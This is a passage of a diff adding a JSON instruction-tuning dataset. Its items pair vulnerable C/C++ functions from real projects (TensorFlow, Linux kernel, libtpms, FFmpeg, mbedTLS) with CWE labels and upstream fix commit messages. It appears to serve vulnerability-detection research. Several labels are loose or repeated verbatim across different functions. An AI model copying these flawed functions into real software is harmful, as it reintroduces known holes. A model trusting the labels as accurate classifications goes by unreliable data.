 int64 small_stride;\n    std::tie(big_stride, small_stride) =\n        GetStrides(input_shape, segment_id_shape);\n    auto relative_offset_set =\n        GetFlattenedRelativeOffsets(small_stride, big_stride);\n    for (auto start_offset = 0; start_offset < big_stride; start_offset++) {\n      for (auto i = 0; i < relative_offset_set.size(); i++) {\n        auto output_index = start_offset + flat_segment_id(i) * big_stride;\n        auto offset = start_offset + relative_offset_set[i];\n        if (output_flat(output_index).length() != 0)\n          output_flat(output_index).append(separator_.c_str());\n        output_flat(output_index).append(flat_input(offset));\n      }\n    }\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-617', 'CWE-703'], 'message': 'Fix overflow CHECK issue with `tf.raw_ops.UnsortedSegmentJoin`.\n\nPiperOrigin-RevId: 370766155\nChange-Id: I33e7c6626224e1060a8a4ab51ad5d861c6d4c63e'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static ssize_t cm_write(struct file *file, const char __user * user_buf,\n\t\t\tsize_t count, loff_t *ppos)\n{\n\tstatic char *buf;\n\tstatic u32 max_size;\n\tstatic u32 uncopied_bytes;\n\n\tstruct acpi_table_header table;\n\tacpi_status status;\n\n\tif (!(*ppos)) {\n\t\t/* parse the table header to get the table length */\n\t\tif (count <= sizeof(struct acpi_table_header))\n\t\t\treturn -EINVAL;\n\t\tif (copy_from_user(&table, user_buf,\n\t\t\t\t   sizeof(struct acpi_table_header)))\n\t\t\treturn -EFAULT;\n\t\tuncopied_bytes = max_size = table.length;\n\t\tbuf = kzalloc(max_size, GFP_KERNEL);\n\t\tif (!buf)\n\t\t\treturn -ENOMEM;\n\t}\n\n\tif (buf == NULL)\n\t\treturn -EINVAL;\n\n\tif ((*ppos > max_size) ||\n\t    (*ppos + count > max_size) ||\n\t    (*ppos + count < count) ||\n\t    (count > uncopied_bytes))\n\t\treturn -EINVAL;\n\n\tif (copy_from_user(buf + (*ppos), user_buf, count)) {\n\t\tkfree(buf);\n\t\tbuf = NULL;\n\t\treturn -EFAULT;\n\t}\n\n\tuncopied_bytes -= count;\n\t*ppos += count;\n\n\tif (!uncopied_bytes) {\n\t\tstatus = acpi_install_method(buf);\n\t\tkfree(buf);\n\t\tbuf = NULL;\n\t\tif (ACPI_FAILURE(status))\n\t\t\treturn -EINVAL;\n\t\tadd_taint(TAINT_OVERRIDDEN_ACPI_TABLE);\n\t}\n\n\treturn count;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-284', 'CWE-264'], 'message': 'ACPI: Split out custom_method functionality into an own driver\n\nWith /sys/kernel/debug/acpi/custom_method root can write\nto arbitrary memory and increase his priveleges, even if\nthese are restricted.\n\n-> Make this an own debug .config option and warn about the\nsecurity issue in the config description.\n\n-> Still keep acpi/debugfs.c which now only creates an empty\n   /sys/kernel/debug/acpi directory. There might be other\n   users of it later.\n\nSigned-off-by: Thomas Renninger \nAcked-by: Rafael J. Wysocki \nAcked-by: rui.zhang@intel.com\nSigned-off-by: Len Brown '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static int er_supported(ERContext *s)\n{\n    if(s->avctx->hwaccel && s->avctx->hwaccel->decode_slice           ||\n       !s->cur_pic.f                                                  ||\n       s->cur_pic.field_picture                                       ||\n       s->avctx->profile == FF_PROFILE_MPEG4_SIMPLE_STUDIO\n    )\n        return 0;\n    return 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20', 'CWE-617'], 'message': 'avcodec/mpeg4videodec: Remove use of FF_PROFILE_MPEG4_SIMPLE_STUDIO as indicator of studio profile\n\nThe profile field is changed by code inside and outside the decoder,\nits not a reliable indicator of the internal codec state.\nMaintaining it consistency with studio_profile is messy.\nIts easier to just avoid it and use only studio_profile\n\nFixes: assertion failure\nFixes: ffmpeg_crash_9.avi\n\nFound-by: Thuan Pham, Marcel B\u00f6hme, Andrew Santosa and Alexandru Razvan Caciulescu with AFLSmart\nSigned-off-by: Michael Niedermayer '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static bool parse_notify(struct pool *pool, json_t *val)\n{\n\tchar *job_id, *prev_hash, *coinbase1, *coinbase2, *bbversion, *nbit,\n\t     *ntime, *header;\n\tsize_t cb1_len, cb2_len, alloc_len;\n\tunsigned char *cb1, *cb2;\n\tbool clean, ret = false;\n\tint merkles, i;\n\tjson_t *arr;\n\n\tarr = json_array_get(val, 4);\n\tif (!arr || !json_is_array(arr))\n\t\tgoto out;\n\n\tmerkles = json_array_size(arr);\n\n\tjob_id = json_array_string(val, 0);\n\tprev_hash = json_array_string(val, 1);\n\tcoinbase1 = json_array_string(val, 2);\n\tcoinbase2 = json_array_string(val, 3);\n\tbbversion = json_array_string(val, 5);\n\tnbit = json_array_string(val, 6);\n\tntime = json_array_string(val, 7);\n\tclean = json_is_true(json_array_get(val, 8));\n\n\tif (!job_id || !prev_hash || !coinbase1 || !coinbase2 || !bbversion || !nbit || !ntime) {\n\t\t/* Annoying but we must not leak memory */\n\t\tif (job_id)\n\t\t\tfree(job_id);\n\t\tif (prev_hash)\n\t\t\tfree(prev_hash);\n\t\tif (coinbase1)\n\t\t\tfree(coinbase1);\n\t\tif (coinbase2)\n\t\t\tfree(coinbase2);\n\t\tif (bbversion)\n\t\t\tfree(bbversion);\n\t\tif (nbit)\n\t\t\tfree(nbit);\n\t\tif (ntime)\n\t\t\tfree(ntime);\n\t\tgoto out;\n\t}\n\n\tcg_wlock(&pool->data_lock);\n\tfree(pool->swork.job_id);\n\tfree(pool->swork.prev_hash);\n\tfree(pool->swork.bbversion);\n\tfree(pool->swork.nbit);\n\tfree(pool->swork.ntime);\n\tpool->swork.job_id = job_id;\n\tpool->swork.prev_hash = prev_hash;\n\tcb1_len = strlen(coinbase1) / 2;\n\tcb2_len = strlen(coinbase2) / 2;\n\tpool->swork.bbversion = bbversion;\n\tpool->swork.nbit = nbit;\n\tpool->swork.ntime = ntime;\n\tpool->swork.clean = clean;\n\talloc_len = pool->swork.cb_len = cb1_len + pool->n1_len + pool->n2size + cb2_len;\n\tpool->nonce2_offset = cb1_len + pool->n1_len;\n\n\tfor (i = 0; i < pool->swork.merkles; i++)\n\t\tfree(pool->swork.merkle_bin[i]);\n\tif (merkles) {\n\t\tpool->swork.merkle_bin = (unsigned char **)realloc(pool->swork.merkle_bin,\n\t\t\t\t\t\t sizeof(char *) * merkles + 1);\n\t\tfor (i = 0; i < merkles; i++) {\n\t\t\tchar *merkle = json_array_string(arr, i);\n\n\t\t\tpool->swork.merkle_bin[i] = (unsigned char *)malloc(32);\n\t\t\tif (unlikely(!pool->swork.merkle_bin[i]))\n\t\t\t\tquit(1, \"Failed to malloc pool swork merkle_bin\");\n\t\t\thex2bin(pool->swork.merkle_bin[i], merkle, 32);\n\t\t\tfree(merkle);\n\t\t}\n\t}\n\tpool->swork.merkles = merkles;\n\tif (clean)\n\t\tpool->nonce2 = 0;\n\tpool->merkle_offset = strlen(pool->swork.bbversion) +\n\t\t\t      strlen(pool->swork.prev_hash);\n\tpool->swork.header_len = pool->merkle_offset +\n\t/* merkle_hash */\t 32 +\n\t\t\t\t strlen(pool->swork.ntime) +\n\t\t\t\t strlen(pool->swork.nbit) +\n\t/* nonce */\t\t 8 +\n\t/* workpadding */\t 96;\n\tpool->merkle_offset /= 2;\n\tpool->swork.header_len = pool->swork.header_len * 2 + 1;\n\talign_len(&pool->swork.header_len);\n\theader = (char *)alloca(pool->swork.header_len);\n\tsnprintf(header, pool->swork.header_len,\n\t\t\"%s%s%s%s%s%s%s\",\n\t\tpool->swork.bbversion,\n\t\tpool->swork.prev_hash,\n\t\tblank_merkel,\n\t\tpool->swork.ntime,\n\t\tpool->swork.nbit,\n\t\t\"00000000\", /* nonce */\n\t\tworkpadding);\n\tif (unlikely(!hex2bin(pool->header_bin, header, 128)))\n\t\tquit(1, \"Failed to convert header to header_bin in parse_notify\");\n\n\tcb1 = (unsigned char *)calloc(cb1_len, 1);\n\tif (unlikely(!cb1))\n\t\tquithere(1, \"Failed to calloc cb1 in parse_notify\");\n\thex2bin(cb1, coinbase1, cb1_len);\n\tcb2 = (unsigned char *)calloc(cb2_len, 1);\n\tif (unlikely(!cb2))\n\t\tquithere(1, \"Failed to calloc cb2 in parse_notify\");\n\thex2bin(cb2, coinbase2, cb2_len);\n\tfree(pool->coinbase);\n\talign_len(&alloc_len);\n\tpool->coinbase = (unsigned char *)calloc(alloc_len, 1);\n\tif (unlikely(!pool->coinbase))\n\t\tquit(1, \"Failed to calloc pool coinbase in parse_notify\");\n\tmemcpy(pool->coinbase, cb1, cb1_len);\n\tmemcpy(pool->coinbase + cb1_len, pool->nonce1bin, pool->n1_len);\n\tmemcpy(pool->coinbase + cb1_len + pool->n1_len + pool->n2size, cb2, cb2_len);\n\tcg_wunlock(&pool->data_lock);\n\n\tif (opt_protocol) {\n\t\tapplog(LOG_DEBUG, \"job_id: %s\", job_id);\n\t\tapplog(LOG_DEBUG, \"prev_hash: %s\", prev_hash);\n\t\tapplog(LOG_DEBUG, \"coinbase1: %s\", coinbase1);\n\t\tapplog(LOG_DEBUG, \"coinbase2: %s\", coinbase2);\n\t\tapplog(LOG_DEBUG, \"bbversion: %s\", bbversion);\n\t\tapplog(LOG_DEBUG, \"nbit: %s\", nbit);\n\t\tapplog(LOG_DEBUG, \"ntime: %s\", ntime);\n\t\tapplog(LOG_DEBUG, \"clean: %s\", clean ? \"yes\" : \"no\");\n\t}\n\tfree(coinbase1);\n\tfree(coinbase2);\n\tfree(cb1);\n\tfree(cb2);\n\n\t/* A notify message is the closest stratum gets to a getwork */\n\tpool->getwork_requested++;\n\ttotal_getworks++;\n\tret = true;\n\tif (pool == current_pool())\n\t\topt_work_update = true;\nout:\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20', 'CWE-703'], 'message': 'stratum: parse_notify(): Don't die on malformed bbversion/prev_hash/nbit/ntime.\n\nMight have introduced a memory leak, don't have time to check. :(\n\nShould the other hex2bin()'s be checked?\n\nThanks to Mick Ayzenberg  for finding this.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   static const char* ConvertScalar(PyObject* v, tstring* out) {\n    if (PyBytes_Check(v)) {\n      out->assign(PyBytes_AS_STRING(v), PyBytes_GET_SIZE(v));\n      return nullptr;\n    }\n    if (PyUnicode_Check(v)) {\n#if PY_MAJOR_VERSION >= 3\n      Py_ssize_t size;\n      const char* str = PyUnicode_AsUTF8AndSize(v, &size);\n      if (str == nullptr) return ErrorConvertingUnicodeString;\n      out->assign(str, size);\n      return nullptr;\n#else\n      PyObject* py_str = PyUnicode_AsUTF8String(v);\n      if (py_str == nullptr) return ErrorConvertingUnicodeString;\n      out->assign(PyBytes_AS_STRING(py_str), PyBytes_GET_SIZE(py_str));\n      Py_DECREF(py_str);\n      return nullptr;\n#endif\n    }\n    return ErrorMixedTypes;\n  } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-20', 'CWE-476'], 'message': 'Fix segfault when attempting to convert string to float16.\n\nTo make sure this gets fixed, add test for converting string to any numeric type.\n\nPiperOrigin-RevId: 286650886\nChange-Id: I81f770ec2bbd33a863e8057ce198c679912fa8e0'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: struct crypto_alg *crypto_larval_lookup(const char *name, u32 type, u32 mask)\n{\n\tstruct crypto_alg *alg;\n\n\tif (!name)\n\t\treturn ERR_PTR(-ENOENT);\n\n\tmask &= ~(CRYPTO_ALG_LARVAL | CRYPTO_ALG_DEAD);\n\ttype &= mask;\n\n\talg = crypto_alg_lookup(name, type, mask);\n\tif (!alg) {\n\t\trequest_module(\"%s\", name);\n\n\t\tif (!((type ^ CRYPTO_ALG_NEED_FALLBACK) & mask &\n\t\t      CRYPTO_ALG_NEED_FALLBACK))\n\t\t\trequest_module(\"%s-all\", name);\n\n\t\talg = crypto_alg_lookup(name, type, mask);\n\t}\n\n\tif (alg)\n\t\treturn crypto_is_larval(alg) ? crypto_larval_wait(alg) : alg;\n\n\treturn crypto_larval_add(name, type, mask);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-284', 'CWE-264', 'CWE-269'], 'message': 'crypto: prefix module autoloading with \"crypto-\"\n\nThis prefixes all crypto module loading with \"crypto-\" so we never run\nthe risk of exposing module auto-loading to userspace via a crypto API,\nas demonstrated by Mathias Krause:\n\nhttps://lkml.org/lkml/2013/3/4/70\n\nSigned-off-by: Kees Cook \nSigned-off-by: Herbert Xu '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TPMA_CC_Unmarshal(TPMA_CC *target, BYTE **buffer, INT32 *size)\n{\n    TPM_RC rc = TPM_RC_SUCCESS;\n\n    if (rc == TPM_RC_SUCCESS) {\n\trc = UINT32_Unmarshal((UINT32 *)target, buffer, size); /* libtpms changed */\n    }\n    if (rc == TPM_RC_SUCCESS) {\n\tif (*target & TPMA_CC_reserved) {\n\t    rc = TPM_RC_RESERVED_BITS;\n\t}\n    }\n    return rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'tpm2: Restore original value if unmarshalled value was illegal\n\nRestore the original value of the memory location where data from\na stream was unmarshalled and the unmarshalled value was found to\nbe illegal. The goal is to not keep illegal values in memory.\n\nSigned-off-by: Stefan Berger '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TPMI_RH_LOCKOUT_Unmarshal(TPMI_RH_LOCKOUT *target, BYTE **buffer, INT32 *size)\n{\n    TPM_RC rc = TPM_RC_SUCCESS;\n\n    if (rc == TPM_RC_SUCCESS) {\n\trc = TPM_HANDLE_Unmarshal(target, buffer, size);  \n    }\n    if (rc == TPM_RC_SUCCESS) {\n\tswitch (*target) {\n\t  case TPM_RH_LOCKOUT:\n\t    break;\n\t  default:\n\t    rc = TPM_RC_VALUE;\n\t}\n    }\n    return rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'tpm2: Restore original value if unmarshalled value was illegal\n\nRestore the original value of the memory location where data from\na stream was unmarshalled and the unmarshalled value was found to\nbe illegal. The goal is to not keep illegal values in memory.\n\nSigned-off-by: Stefan Berger '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TPM_CAP_Unmarshal(TPM_CAP *target, BYTE **buffer, INT32 *size)\n{\n    TPM_RC rc = TPM_RC_SUCCESS;\n\n    if (rc == TPM_RC_SUCCESS) {\n\trc = UINT32_Unmarshal(target, buffer, size);  \n    }\n    if (rc == TPM_RC_SUCCESS) {\n\tswitch (*target) {\n\t  case TPM_CAP_ALGS:\n\t  case TPM_CAP_HANDLES:\n\t  case TPM_CAP_COMMANDS:\n\t  case TPM_CAP_PP_COMMANDS:\n\t  case TPM_CAP_AUDIT_COMMANDS:\n\t  case TPM_CAP_PCRS:\n\t  case TPM_CAP_TPM_PROPERTIES:\n\t  case TPM_CAP_PCR_PROPERTIES:\n\t  case TPM_CAP_ECC_CURVES:\n\t  case TPM_CAP_AUTH_POLICIES:\n\t  case TPM_CAP_ACT:\n\t  case TPM_CAP_VENDOR_PROPERTY:\n\t    break;\n\t  default:\n\t    rc = TPM_RC_VALUE;\n\t}\n    }\n    return rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'tpm2: Restore original value if unmarshalled value was illegal\n\nRestore the original value of the memory location where data from\na stream was unmarshalled and the unmarshalled value was found to\nbe illegal. The goal is to not keep illegal values in memory.\n\nSigned-off-by: Stefan Berger '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TPMI_RH_HIERARCHY_Unmarshal(TPMI_RH_HIERARCHY *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n{\n    TPM_RC rc = TPM_RC_SUCCESS;\n\n    if (rc == TPM_RC_SUCCESS) {\n\trc = TPM_HANDLE_Unmarshal(target, buffer, size);  \n    }\n    if (rc == TPM_RC_SUCCESS) {\n\tswitch (*target) {\n\t  case TPM_RH_OWNER:\n\t  case TPM_RH_PLATFORM:\n\t  case TPM_RH_ENDORSEMENT:\n\t    break;\n\t  case TPM_RH_NULL:\n\t    if (allowNull) {\n\t\tbreak;\n\t    }\n\t  default:\n\t    rc = TPM_RC_VALUE;\n\t}\n    }\n    return rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'tpm2: Restore original value if unmarshalled value was illegal\n\nRestore the original value of the memory location where data from\na stream was unmarshalled and the unmarshalled value was found to\nbe illegal. The goal is to not keep illegal values in memory.\n\nSigned-off-by: Stefan Berger '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TPM_SU_Unmarshal(TPM_SU *target, BYTE **buffer, INT32 *size)\n{\n    TPM_RC rc = TPM_RC_SUCCESS;\n\n    if (rc == TPM_RC_SUCCESS) {\n\trc = UINT16_Unmarshal(target, buffer, size);  \n    }\n    if (rc == TPM_RC_SUCCESS) {\n\tswitch (*target) {\n\t  case TPM_SU_CLEAR:\n\t  case TPM_SU_STATE:\n\t    break;\n\t  default:\n\t    rc = TPM_RC_VALUE;\n\t}\n    }\n    return rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'tpm2: Restore original value if unmarshalled value was illegal\n\nRestore the original value of the memory location where data from\na stream was unmarshalled and the unmarshalled value was found to\nbe illegal. The goal is to not keep illegal values in memory.\n\nSigned-off-by: Stefan Berger '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TPMI_ALG_SYM_MODE_Unmarshal(TPMI_ALG_SYM_MODE *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n{\n    TPM_RC rc = TPM_RC_SUCCESS;\n\n    if (rc == TPM_RC_SUCCESS) {\n\trc = TPM_ALG_ID_Unmarshal(target, buffer, size);  \n    }\n    if (rc == TPM_RC_SUCCESS) {\n\tswitch (*target) {\n#if ALG_CTR\t\n\t  case TPM_ALG_CTR:\n#endif\n#if ALG_OFB\t\n\t  case TPM_ALG_OFB:\n#endif\n#if ALG_CBC\n\t  case TPM_ALG_CBC:\n#endif\n#if ALG_CFB\t\n\t  case TPM_ALG_CFB:\n#endif\n#if ALG_ECB\t\n\t  case TPM_ALG_ECB:\n#endif\n#if ALG_CMAC\n\t  case TPM_ALG_CMAC:\n#endif\n\t    break;\n\t  case TPM_ALG_NULL:\n\t    if (allowNull) {\n\t\tbreak;\n\t    }\n\t  default:\n\t    rc = TPM_RC_MODE;\n\t}\n    }\n    return rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'tpm2: Restore original value if unmarshalled value was illegal\n\nRestore the original value of the memory location where data from\na stream was unmarshalled and the unmarshalled value was found to\nbe illegal. The goal is to not keep illegal values in memory.\n\nSigned-off-by: Stefan Berger '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: TPMI_DH_PARENT_Unmarshal(TPMI_DH_PARENT *target, BYTE **buffer, INT32 *size, BOOL allowNull)\n{\n    TPM_RC rc = TPM_RC_SUCCESS;\n    \n    if (rc == TPM_RC_SUCCESS) {\n\trc = TPM_HANDLE_Unmarshal(target, buffer, size);  \n    }\n    if (rc == TPM_RC_SUCCESS) {\n\tBOOL isNotTransient = (*target < TRANSIENT_FIRST) || (*target > TRANSIENT_LAST);\n\tBOOL isNotPersistent = (*target < PERSISTENT_FIRST) || (*target > PERSISTENT_LAST);\n\tBOOL isNotOwner = *target != TPM_RH_OWNER;\n\tBOOL isNotPlatform = *target != TPM_RH_PLATFORM;\n\tBOOL isNotEndorsement = *target != TPM_RH_ENDORSEMENT;\n\tBOOL isNotLegalNull = (*target != TPM_RH_NULL) || !allowNull;\n\tif (isNotTransient &&\n\t    isNotPersistent &&\n\t    isNotOwner &&\n\t    isNotPlatform &&\n\t    isNotEndorsement && \n\t    isNotLegalNull) {\n\t    rc = TPM_RC_VALUE;\n\t}\n    }\n    return rc;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': 'tpm2: Restore original value if unmarshalled value was illegal\n\nRestore the original value of the memory location where data from\na stream was unmarshalled and the unmarshalled value was found to\nbe illegal. The goal is to not keep illegal values in memory.\n\nSigned-off-by: Stefan Berger '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void __init spectre_v2_select_mitigation(void)\n{\n\tenum spectre_v2_mitigation_cmd cmd = spectre_v2_parse_cmdline();\n\tenum spectre_v2_mitigation mode = SPECTRE_V2_NONE;\n\n\t/*\n\t * If the CPU is not affected and the command line mode is NONE or AUTO\n\t * then nothing to do.\n\t */\n\tif (!boot_cpu_has_bug(X86_BUG_SPECTRE_V2) &&\n\t    (cmd == SPECTRE_V2_CMD_NONE || cmd == SPECTRE_V2_CMD_AUTO))\n\t\treturn;\n\n\tswitch (cmd) {\n\tcase SPECTRE_V2_CMD_NONE:\n\t\treturn;\n\n\tcase SPECTRE_V2_CMD_FORCE:\n\tcase SPECTRE_V2_CMD_AUTO:\n\t\tif (IS_ENABLED(CONFIG_RETPOLINE))\n\t\t\tgoto retpoline_auto;\n\t\tbreak;\n\tcase SPECTRE_V2_CMD_RETPOLINE_AMD:\n\t\tif (IS_ENABLED(CONFIG_RETPOLINE))\n\t\t\tgoto retpoline_amd;\n\t\tbreak;\n\tcase SPECTRE_V2_CMD_RETPOLINE_GENERIC:\n\t\tif (IS_ENABLED(CONFIG_RETPOLINE))\n\t\t\tgoto retpoline_generic;\n\t\tbreak;\n\tcase SPECTRE_V2_CMD_RETPOLINE:\n\t\tif (IS_ENABLED(CONFIG_RETPOLINE))\n\t\t\tgoto retpoline_auto;\n\t\tbreak;\n\t}\n\tpr_err(\"Spectre mitigation: kernel not compiled with retpoline; no mitigation available!\");\n\treturn;\n\nretpoline_auto:\n\tif (boot_cpu_data.x86_vendor == X86_VENDOR_AMD) {\n\tretpoline_amd:\n\t\tif (!boot_cpu_has(X86_FEATURE_LFENCE_RDTSC)) {\n\t\t\tpr_err(\"Spectre mitigation: LFENCE not serializing, switching to generic retpoline\\n\");\n\t\t\tgoto retpoline_generic;\n\t\t}\n\t\tmode = retp_compiler() ? SPECTRE_V2_RETPOLINE_AMD :\n\t\t\t\t\t SPECTRE_V2_RETPOLINE_MINIMAL_AMD;\n\t\tsetup_force_cpu_cap(X86_FEATURE_RETPOLINE_AMD);\n\t\tsetup_force_cpu_cap(X86_FEATURE_RETPOLINE);\n\t} else {\n\tretpoline_generic:\n\t\tmode = retp_compiler() ? SPECTRE_V2_RETPOLINE_GENERIC :\n\t\t\t\t\t SPECTRE_V2_RETPOLINE_MINIMAL;\n\t\tsetup_force_cpu_cap(X86_FEATURE_RETPOLINE);\n\t}\n\n\tspectre_v2_enabled = mode;\n\tpr_info(\"%s\\n\", spectre_v2_strings[mode]);\n\n\t/*\n\t * If neither SMEP nor PTI are available, there is a risk of\n\t * hitting userspace addresses in the RSB after a context switch\n\t * from a shallow call stack to a deeper one. To prevent this fill\n\t * the entire RSB, even when using IBRS.\n\t *\n\t * Skylake era CPUs have a separate issue with *underflow* of the\n\t * RSB, when they will predict 'ret' targets from the generic BTB.\n\t * The proper mitigation for this is IBRS. If IBRS is not supported\n\t * or deactivated in favour of retpolines the RSB fill on context\n\t * switch is required.\n\t */\n\tif ((!boot_cpu_has(X86_FEATURE_PTI) &&\n\t     !boot_cpu_has(X86_FEATURE_SMEP)) || is_skylake_era()) {\n\t\tsetup_force_cpu_cap(X86_FEATURE_RSB_CTXSW);\n\t\tpr_info(\"Spectre v2 mitigation: Filling RSB on context switch\\n\");\n\t}\n\n\t/* Initialize Indirect Branch Prediction Barrier if supported */\n\tif (boot_cpu_has(X86_FEATURE_IBPB)) {\n\t\tsetup_force_cpu_cap(X86_FEATURE_USE_IBPB);\n\t\tpr_info(\"Spectre v2 mitigation: Enabling Indirect Branch Prediction Barrier\\n\");\n\t}\n\n\t/*\n\t * Retpoline means the kernel is safe because it has no indirect\n\t * branches. But firmware isn't, so use IBRS to protect that.\n\t */\n\tif (boot_cpu_has(X86_FEATURE_IBRS)) {\n\t\tsetup_force_cpu_cap(X86_FEATURE_USE_IBRS_FW);\n\t\tpr_info(\"Enabling Restricted Speculation for firmware calls\\n\");\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-362'], 'message': 'x86/speculation: Protect against userspace-userspace spectreRSB\n\nThe article \"Spectre Returns! Speculation Attacks using the Return Stack \nBuffer\" [1] describes two new (sub-)variants of spectrev2-like attacks, \nmaking use solely of the RSB contents even on CPUs that don't fallback to \nBTB on RSB underflow (Skylake+).\n\nMitigate userspace-userspace attacks by always unconditionally filling RSB on\ncontext switch when the generic spectrev2 mitigation has been enabled.\n\n[1] https://arxiv.org/pdf/1807.07940.pdf\n\nSigned-off-by: Jiri Kosina \nSigned-off-by: Thomas Gleixner \nReviewed-by: Josh Poimboeuf \nAcked-by: Tim Chen \nCc: Konrad Rzeszutek Wilk \nCc: Borislav Petkov \nCc: David Woodhouse \nCc: Peter Zijlstra \nCc: Linus Torvalds \nCc: stable@vger.kernel.org\nLink: https://lkml.kernel.org/r/nycvar.YFH.7.76.1807261308190.997@cbobk.fhfr.pm'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void mbedtls_strerror( int ret, char *buf, size_t buflen )\n{\n    size_t len;\n    int use_ret;\n\n    if( buflen == 0 )\n        return;\n\n    memset( buf, 0x00, buflen );\n\n    if( ret < 0 )\n        ret = -ret;\n\n    if( ret & 0xFF80 )\n    {\n        use_ret = ret & 0xFF80;\n\n        // High level error codes\n        //\n        // BEGIN generated code\n#if defined(MBEDTLS_CIPHER_C)\n        if( use_ret == -(MBEDTLS_ERR_CIPHER_FEATURE_UNAVAILABLE) )\n            mbedtls_snprintf( buf, buflen, \"CIPHER - The selected feature is not available\" );\n        if( use_ret == -(MBEDTLS_ERR_CIPHER_BAD_INPUT_DATA) )\n            mbedtls_snprintf( buf, buflen, \"CIPHER - Bad input parameters to function\" );\n        if( use_ret == -(MBEDTLS_ERR_CIPHER_ALLOC_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"CIPHER - Failed to allocate memory\" );\n        if( use_ret == -(MBEDTLS_ERR_CIPHER_INVALID_PADDING) )\n            mbedtls_snprintf( buf, buflen, \"CIPHER - Input data contains invalid padding and is rejected\" );\n        if( use_ret == -(MBEDTLS_ERR_CIPHER_FULL_BLOCK_EXPECTED) )\n            mbedtls_snprintf( buf, buflen, \"CIPHER - Decryption of block requires a full block\" );\n        if( use_ret == -(MBEDTLS_ERR_CIPHER_AUTH_FAILED) )\n            mbedtls_snprintf( buf, buflen, \"CIPHER - Authentication failed (for AEAD modes)\" );\n        if( use_ret == -(MBEDTLS_ERR_CIPHER_INVALID_CONTEXT) )\n            mbedtls_snprintf( buf, buflen, \"CIPHER - The context is invalid, eg because it was free()ed\" );\n#endif /* MBEDTLS_CIPHER_C */\n\n#if defined(MBEDTLS_DHM_C)\n        if( use_ret == 